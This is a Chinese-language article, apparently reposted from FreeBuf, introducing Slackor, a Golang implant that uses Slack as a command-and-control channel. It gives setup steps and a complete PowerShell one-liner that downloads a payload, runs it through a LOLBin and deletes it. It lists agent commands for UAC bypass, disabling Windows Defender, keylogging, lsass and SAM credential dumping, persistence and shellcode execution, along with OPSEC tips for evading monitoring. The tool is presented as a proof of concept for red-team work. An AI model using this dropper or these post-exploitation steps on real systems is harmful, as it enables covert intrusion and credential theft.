45

Slackor:如何将Slack当作你的命令控制服务器

 5 years ago
source link: https://www.tuicool.com/articles/bMFryaY
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Slackor

Slackor是一款Golang植入,它可以将Slack作为你的命令控制服务器。

ZV3Yje6.jpg!web

Mbau63m.jpg!web

注意:该工具目前仅处于概念验证模型阶段,请在创建任何Slack应用之前,确保应用符合Slack App开发者政策。

工具安装

Slackor服务器端采用Python 3开发,在使用该工具之前,你需要满足以下条件:

1、 一个Slack工作区;

2、 以下列权限注册一个App:

channels:read
channels:history
channels:write
files:write:user
files:read

3、 创建一个BOT;

Slackor项目中包含五个文件:

1、install.sh:安装依赖组件
2、setup.py:这个脚本可以创建Slack信道、数据库和植入程序
3、agent.py:这个脚本可以生成新的植入程序
4、server.py:Slack服务器,可在Linux平台上运行
5、agent.go:Golang植入程序
6、requirements.txt:Python依赖(自动安装)

快速开始

go get github.com/Coalfire-Research/Slackor
cd $GOPATH/src/github.com/Coalfire-Research/Slackor

运行了上述命令之后,运行“install.sh”文件,然后运行“setup.py”,此时需要你提供Slack应用程序的“OAuth访问令牌”以及 “Bot User OAuth访问令牌”。

成功运行上述脚本之后,还需要在项目的dist/目录中创建下列几个文件:

agent.windows.exe:Windows 64-bit 代码
agent.upx.exe:Windows 64-bit 代码, UPX 封装
agent.darwin:macOS 64-bit 代码
agent.32.linux:Linux 32-bit 代码
agent.64.linux:Linux 64-bit 代码

在Linux主机上运行server.py之后,工具会根据目标主机的情况自动选择上述代理程序。

我们可以使用“stager”模块来生成一个one-liner或其他Dropper:

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /msvchost.exe /c C:\Users\Public\[NAME]; timeout 2; delC:\Users\Public\[NAME].exe

这条命令将会执行InvokeWebRequest(PS v.3+)来下载Payload,并使用一个 LOLBin 来执行它。执行完成后,Payload会进行自毁操作。这只是一个仅供参考的使用样例,大家可以根据自己的需要来使用其他的下载方法或执行方法。

工具使用

输入“help”或按下TAB键,我们就可以查看到该工具所支持的全部可用命令了,我们还可以输入“help [COMMAND]”来查看命令描述。

(Slackor:服务器端)
help –显示帮助菜单
interact– 与代理端交互
list –列出所有已注册的代理
remove– 终止或移除代理
revive– 向所有的代理发送重新注册信号
stager– 生成一个One-Liner下载并执行植入程序
quit –退出程序
wipefiles– 删除Slack中的所有上传文件

当代理端就绪之后,我们就可以跟它进行交互了。使用“interact [AGENT]”可以切换到代理端的命令行界面,然后输入“help”或按下TAB键即可查看代理端支持的所有可用命令。

(Slackor:代理端)

常用命令

back –返回主菜单
beacon– 修改代理确认时间间隔(默认为5秒)
download– 从代理端下载文件至Slackor服务器
help –显示帮助菜单
kill –终止代理
sleep– 代理休眠
sysinfo– 显示当前用户、操作系统版本、系统架构和CPU核心数
upload– 从代理端上传一份文件至Slackor 服务器
wget –通过HTTP/HTTPS获取任意文件
Windows命令
bypassuac– 生成一个高完整性的代理
cleanup– 移除持久性组件
clipboard– 获取剪切板内容
defanger– 尝试关闭WindowsDefender
duplicate– 生成代理端副本
getsystem-使用NTAUTHORITY/SYSTEM权限生成代理
keyscan– 在代理端开启键盘记录器
minidump–导出lsass.exe内存信息并下载
persist– 在ADS中创建持久性植入程序
samdump– 尝试导出SAM文件,以供离线提取哈希特征
screenshot– 获取屏幕截图
shellcode– 执行x64元Shellcode
Linux命令
screenshot- 获取屏幕截图

OPSEC

命令输出和下载的文件都采用了AES加密,额外的还有Slack的TLS传输层加密。

在执行需要向磁盘写入数据的任务时,模块会给用户发送提醒。在执行Shell命令时,cmd.exe/bash将会被执行,这种行为可能会被目标主机监控到。下面给出的是一些OPSEC安全命令,它们不会执行cmd.exe/bash。

cat –打印文件内容
cd – 修改目录
find –搜索目录文件名
getip– 获取外部IP地址(发送一个DNS 请求)
hostname– 显示主机名称
ifconfig– 显示接口信息
ls – 列举目录内容
mkdir– 创建一个目录
pwd –输出当前工作目录
rm – 移除一个文件
rmdir– 移除一个目录
whoami/ getuid – 输出当前用户信息

项目地址

Slackor:【 GitHub传送门

* 参考来源: Coalfire-Research ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK